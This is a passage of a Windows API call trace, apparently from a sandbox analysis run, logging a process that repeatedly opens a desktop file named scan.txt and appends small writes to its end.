[0167.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.071] GetFileType (hFile=0x252c) returned 0x1
[0167.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.071] GetFileType (hFile=0x252c) returned 0x1
[0167.072] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x168
[0167.072] WriteFile (in: hFile=0x252c, lpBuffer=0x27b7138*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27b7138*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.072] CloseHandle (hObject=0x252c) returned 1
[0167.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.075] GetFileType (hFile=0x252c) returned 0x1
[0167.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.075] GetFileType (hFile=0x252c) returned 0x1
[0167.075] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x177
[0167.075] WriteFile (in: hFile=0x252c, lpBuffer=0x27b9c78*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27b9c78*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.076] CloseHandle (hObject=0x252c) returned 1
[0167.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.078] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.078] GetFileType (hFile=0x252c) returned 0x1
[0167.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.078] GetFileType (hFile=0x252c) returned 0x1
[0167.078] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x186
[0167.079] WriteFile (in: hFile=0x252c, lpBuffer=0x27bc7b8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27bc7b8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.079] CloseHandle (hObject=0x252c) returned 1
[0167.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.081] GetFileType (hFile=0x252c) returned 0x1
[0167.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.081] GetFileType (hFile=0x252c) returned 0x1
[0167.082] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x195
[0167.082] WriteFile (in: hFile=0x252c, lpBuffer=0x27bf2f8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27bf2f8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.082] CloseHandle (hObject=0x252c) returned 1
[0167.084] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.130] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.130] GetFileType (hFile=0x252c) returned 0x1
[0167.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.130] GetFileType (hFile=0x252c) returned 0x1
[0167.131] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1a4
[0167.133] WriteFile (in: hFile=0x252c, lpBuffer=0x27c1e38*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27c1e38*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.134] CloseHandle (hObject=0x252c) returned 1
[0167.136] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.136] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.136] GetFileType (hFile=0x252c) returned 0x1
[0167.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.136] GetFileType (hFile=0x252c) returned 0x1
[0167.136] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1b3
[0167.137] WriteFile (in: hFile=0x252c, lpBuffer=0x27c4978*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27c4978*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.137] CloseHandle (hObject=0x252c) returned 1
[0167.138] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.139] GetFileType (hFile=0x252c) returned 0x1
[0167.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.139] GetFileType (hFile=0x252c) returned 0x1
[0167.139] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1c2
[0167.140] WriteFile (in: hFile=0x252c, lpBuffer=0x27c74b8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27c74b8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.140] CloseHandle (hObject=0x252c) returned 1
[0167.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.142] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1d1
[0167.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.145] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1e0
[0167.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.147] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1ef
[0167.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.148] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1fe
[0167.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.150] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x20d
[0167.151] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.151] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.151] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x21c
[0167.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.153] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x22b
[0167.153] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.154] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.154] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x23a
[0167.155] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.155] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.156] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x249
[0167.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.157] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x258
[0167.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.158] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x267
[0167.159] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.159] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
